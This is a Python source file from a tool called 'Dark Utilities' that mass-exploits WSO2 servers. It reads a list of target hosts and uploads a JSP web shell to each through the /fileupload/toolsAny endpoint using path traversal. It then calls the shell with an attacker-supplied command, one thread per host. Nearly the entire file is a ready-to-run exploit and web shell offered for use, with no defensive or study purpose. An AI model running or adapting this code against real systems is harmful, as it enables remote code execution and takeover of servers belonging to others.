main.py

################################################################################
#                          Copyrights and license                              #
################################################################################
#                                                                              #
# Copyright 2021 Inplex-sys <Inplex-sys@protonmail.ch>                         #
#                                                                              #
# This file is part of Dark Utilities.                                          #
#                                                                              #
# Dark Utilities is list of software: you can redistribute it and/or modify     #
# it under the terms of the GNU Lesser General Public License as published by  #
# the Free Software Foundation, either version 3 of the License, or            #
# (at your option) any later version.                                          #
#                                                                              #
# Dark Utilities is distributed in the hope that it will be useful, but WITHOUT #
# ANY  WARRANTY; without even the implied warranty of MERCHANTABILITY or       #
# FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License  #
# for more details.                                                            #
#                                                                              #
# You should Dark Utilities received a copy of the GNU Lesser General Public    #
# License.                                                                     #
# along with Dark Utilities. If not, see <http://www.gnu.org/licenses/>.        #
#                                                                              #
################################################################################
#                     Made with ❤️ by github.com/inplex-sys                    #
################################################################################

import requests
import urllib3
import string
import sys
import colored
import time
from datetime import datetime
import random
import threading
from colored import stylize

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class Main():
    def formatConsoleDate( date ):
        return '[' + date.strftime('%Y-%m-%d-%H:%M:%S') + ']'
        pass

    def randomString( size ):
        return ''.join(random.choice(string.ascii_letters) for _ in range(size))
        pass

class Exploit:
    def __init__(self, host):
        self.host = host
        pass

    def exploit(self):
        global params
        filename = Main.randomString(10) + '.jsp'

        shell = """<%@ page import="java.io.*" %>
    <%
    String cmd = request.getParameter("cmd");
    String output = "";
    if(cmd != null) {
        String s = null;
        try {
            Process p = Runtime.getRuntime().exec(cmd,null,null);
            BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
            while((s = sI.readLine()) != null) { output += s+"</br>"; }
        }  catch(IOException e) {   e.printStackTrace();   }
    }
%>
        <pre><%=output %></pre>"""

        try:
            files = {f"../../../../repository/deployment/server/webapps/authenticationendpoint/{filename}": shell}
            requests.post(f'{self.host}/fileupload/toolsAny', files=files, verify=False)

            print(stylize(Main.formatConsoleDate(datetime.today()), colored.fg('#ffe900')) +
                stylize(f"[*] Waiting for 15s ...", colored.fg('white')))

            time.sleep(15)
            
            response = requests.get(f'{self.host}/authenticationendpoint/{filename}?={params["command"]}', verify=False)
            if response.status_code == 200:
                print(stylize(Main.formatConsoleDate(datetime.today()), colored.fg('#ffe900')) +
                    stylize(f" {self.host} has executed the shell {filename} successfully.", colored.fg('green')))
            else:
                print(stylize(Main.formatConsoleDate(datetime.today()), colored.fg('#ffe900')) +
                    stylize(f" Shell execution failed.", colored.fg('red')))
                pass
        except:
            print(stylize(Main.formatConsoleDate(datetime.today()), colored.fg('#ffe900')) +
                stylize(f" Shell execution failed.", colored.fg('red')))
            pass
            pass
        pass

def main():
    global params

    print(stylize('''
      ╔╦╗╔═╗╦═╗╦╔═    ╦ ╦╔╦╗╦╦  ╦╔╦╗╦╔═╗╔═╗
       ║║╠═╣╠╦╝╠╩╗    ║ ║ ║ ║║  ║ ║ ║║╣ ╚═╗
      ═╩╝╩ ╩╩╚═╩ ╩    ╚═╝ ╩ ╩╩═╝╩ ╩ ╩╚═╝╚═╝
           simple attacks, simple programs
    ''', colored.fg('red')))

    if len(sys.argv) < 3:
        print(stylize("""
    [ERROR]""", colored.fg('red'),
                      colored.attr('underlined'))
              + """ bad command usage
            """ + stylize("Usage Sheme:", colored.fg('#ffe900'),
                          colored.attr('underlined')) + """
                - user@some_name:~# python3 main.py <vuln-list> <command>
        """)
        sys.exit()

    params = {}
    params['file'] = sys.argv[1]
    params['command'] = sys.argv[2]

    with open(params['file'], 'r') as file:
        for line in file:
            host = line.strip()
            exploit = Exploit(host)
            threading.Thread(target=exploit.exploit).start()
            pass
        pass
    pass

if __name__ == '__main__':
    ################################################################################
    # This file is used for loading a list of wso2 vulnerable servers. The         #
    # vulnerability is uploading a java file who is executing the command          #
    # specified in the command line.                                               #
    ################################################################################

    main()